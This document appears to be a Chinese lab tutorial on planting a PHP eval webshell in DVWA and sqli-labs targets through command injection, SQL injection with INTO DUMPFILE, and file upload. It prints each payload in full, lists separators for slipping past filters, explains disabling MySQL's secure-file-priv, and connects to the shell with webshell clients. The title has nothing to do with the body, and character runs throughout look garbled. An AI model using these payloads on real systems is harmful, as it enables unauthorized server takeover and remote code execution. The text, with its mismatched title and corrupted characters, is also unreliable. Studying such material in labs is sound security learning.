web網(wǎng)站如何做負(fù)載均衡谷歌搜索引擎google
這篇文章旨在用于網(wǎng)絡(luò)安全學(xué)習(xí),請(qǐng)勿進(jìn)行任何非法行為,否則后果自負(fù)。
準(zhǔn)備環(huán)境
- OWASP虛擬機(jī)
- xfp 7與xshell 7
??
- DVWA系統(tǒng)默認(rèn)的賬號(hào)密碼均為:admin/admin?
1、命令注入中復(fù)現(xiàn)
?
攻擊payload
127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php
這個(gè)命令的目的是在服務(wù)器上創(chuàng)建一個(gè)名為 shell.php
的文件,其中包含 PHP 代碼。讓我們逐步分析該命令:
-
127.0.0.1
: 這是一個(gè)IP地址(本地回環(huán)地址),代表要連接的目標(biāo)主機(jī)。 -
|
:管道符號(hào),用于將前一個(gè)命令的輸出作為后一個(gè)命令的輸入。 -
echo "<?php @eval(\$_POST[\"cmd\"])?>"
: 這是一個(gè)echo命令,它將字符串<?php @eval(\$_POST["cmd"])?>
輸出到標(biāo)準(zhǔn)輸出。 -
>
:重定向操作符,將前一個(gè)命令的輸出寫入到后一個(gè)命令指定的文件中。 -
/var/www/shell.php
:這是目標(biāo)文件路徑,表示要將輸出寫入到/var/www/
目錄下的名為shell.php
的文件。
綜上所述,如果成功執(zhí)行此命令,則會(huì)在服務(wù)器的 /var/www/
目錄下創(chuàng)建一個(gè)名為 shell.php
的文件,并將 <?php @eval(\$_POST["cmd"])?>
的內(nèi)容寫入到該文件中。由于該P(yáng)HP代碼使用了 eval
函數(shù),它會(huì)執(zhí)行用戶在 POST 請(qǐng)求(通過(guò) cmd 參數(shù))中輸入的命令。
下面是一些常見(jiàn)的命令連接符及其作用:(如果管道符“|”被過(guò)濾了就可以使用其他的代替)
-
&
:將兩個(gè)命令并行執(zhí)行,無(wú)論前一個(gè)命令是否成功。 -
&&
:只有當(dāng)前一個(gè)命令成功執(zhí)行時(shí),才會(huì)執(zhí)行后一個(gè)命令。 -
|
:將前一個(gè)命令的輸出作為后一個(gè)命令的輸入。 -
||
:只有當(dāng)前一個(gè)命令執(zhí)行失敗時(shí),才會(huì)執(zhí)行后一個(gè)命令。
復(fù)現(xiàn)
?
在靶機(jī)中查看木馬文件?
最后就能在靶機(jī)看到我們的文件了,我們的文件保存在/var/www/目錄下,查看方法:
- cd??/var/www/? ? ->? ls? ? ? ? ? # 之后就能看到/var/www/下的文件信息
?
我跟喜歡使用xfp 7與xshell 7來(lái)輸入命令與查看文件
?
使用蟻劍或菜刀連接木馬
?
??
成功進(jìn)入目標(biāo)文件管理界面,攻擊復(fù)現(xiàn)成功
?
注意:雖然我們的shell.php木馬文件存放在/var/www/目錄下,但是我們連接只需要使用靶機(jī)IP+文件名即可。因?yàn)閃eb服務(wù)器已經(jīng)將根目錄設(shè)置為 /var/www/
,所以不需要在 URL 中顯式指定該目錄。只需使用 http://<IP地址>/文件名
的格式即可訪問(wèn)該文件。
2、SQL注入中復(fù)現(xiàn)
攻擊payload
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
UNION SELECT 1,1,"<?php @eval(\$_POST[\"cmd\"])?>"
:這是一個(gè)?UNION SELECT
?查詢,它將會(huì)返回兩列。第一列是數(shù)字 1,第二列是數(shù)字 1,第三列是 PHP 代碼?<?php @eval(\$_POST["cmd"])?>
。這段代碼是惡意的,它嘗試執(zhí)行通過(guò) POST 請(qǐng)求傳遞的?cmd
?參數(shù)作為代碼進(jìn)行執(zhí)行。INTO DUMPFILE "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php"
:這個(gè)部分嘗試將查詢結(jié)果保存到指定的文件路徑?F:\\phpStudy\\PHPTutorial\\WWW\\shell.php
?中。這將會(huì)創(chuàng)建一個(gè)名為?shell.php
?的文件,并將查詢結(jié)果寫入其中。--
:這是 SQL 中的注釋符號(hào),表示注釋掉后續(xù)的內(nèi)容。
總的來(lái)說(shuō),該語(yǔ)句的目的是將惡意代碼寫入到 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php
文件中,以便在攻擊者控制的環(huán)境中執(zhí)行該代碼。這種攻擊常用于獲取未經(jīng)授權(quán)的訪問(wèn)權(quán)限、控制目標(biāo)服務(wù)器或進(jìn)行其他惡意活動(dòng)。
復(fù)現(xiàn)(我這里用sqlilabs靶場(chǎng))
安裝:詳細(xì)安裝sqlmap詳細(xì)教程_sqlmap安裝教程_mingzhi61的博客-CSDN博客?
安裝完成后打開(kāi):http://127.0.0.1/sqlilabs/Less-2/?id=1
本來(lái)我是用DVWA靶場(chǎng)復(fù)現(xiàn)的搞了半天都搞不定一直提示“用戶“dvwa”@“%”的訪問(wèn)被拒絕(使用密碼:YES)”解決不了換靶場(chǎng)?
1)先判斷顯示位(測(cè)試是否存在SQL注入)
-1 union select 1,2,3 -- -
命令可以使用插件?HackBar 來(lái)發(fā)送也可以直接粘貼到網(wǎng)絡(luò)的url中執(zhí)行(工具本文開(kāi)頭的環(huán)境準(zhǔn)備可以下載)?
2)再判斷路徑(判斷MysQL的存儲(chǔ)路徑方便我們寫入一句話?cǎi)R)
-1 union select 1,@@datadir,3 -- -
3)寫入WebShell
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
代碼執(zhí)行只要不報(bào)錯(cuò)就行成功了
注意:MySQL 服務(wù)器默認(rèn)情況使用了 --secure-file-priv
選項(xiàng),限制了 INTO OUTFILE
的功能。
解決:你可以嘗試以下步驟:
- 打開(kāi) phpStudy 的安裝目錄,找到?
my.ini
(或?my.cnf
)配置文件。 - 在配置文件中找到?
[mysqld]
?部分。 - 在?
[mysqld]
?部分添加或修改下列行:
[mysqld] secure-file-priv=""
- 保存配置文件,并重啟 phpStudy 中的 MySQL 服務(wù)器。
通過(guò)將 secure-file-priv
設(shè)置為空字符串,你可以移除文件路徑限制,允許使用 INTO OUTFILE
語(yǔ)句將查詢結(jié)果輸出到任意位置。
連接
?
參考文章:SQL注入篇——一句話木馬_sql注馬語(yǔ)句_admin-r?o?ot?的博客-CSDN博客?
3、文件上傳漏洞中復(fù)現(xiàn)
攻擊payload
準(zhǔn)備一個(gè)木馬文件如:cmd.php
<?php @eval($_POST["cmd"])?>
復(fù)現(xiàn)
連接
主機(jī)IP+/dvwa/hackable/uploads/cmd.php# 注意路徑前面要加上dvwa,因?yàn)槲覀兪窃赿vwa靶場(chǎng)上實(shí)驗(yàn)的,在虛擬機(jī)的WWW目錄下有很多個(gè)靶場(chǎng)所以我們要指定靶場(chǎng)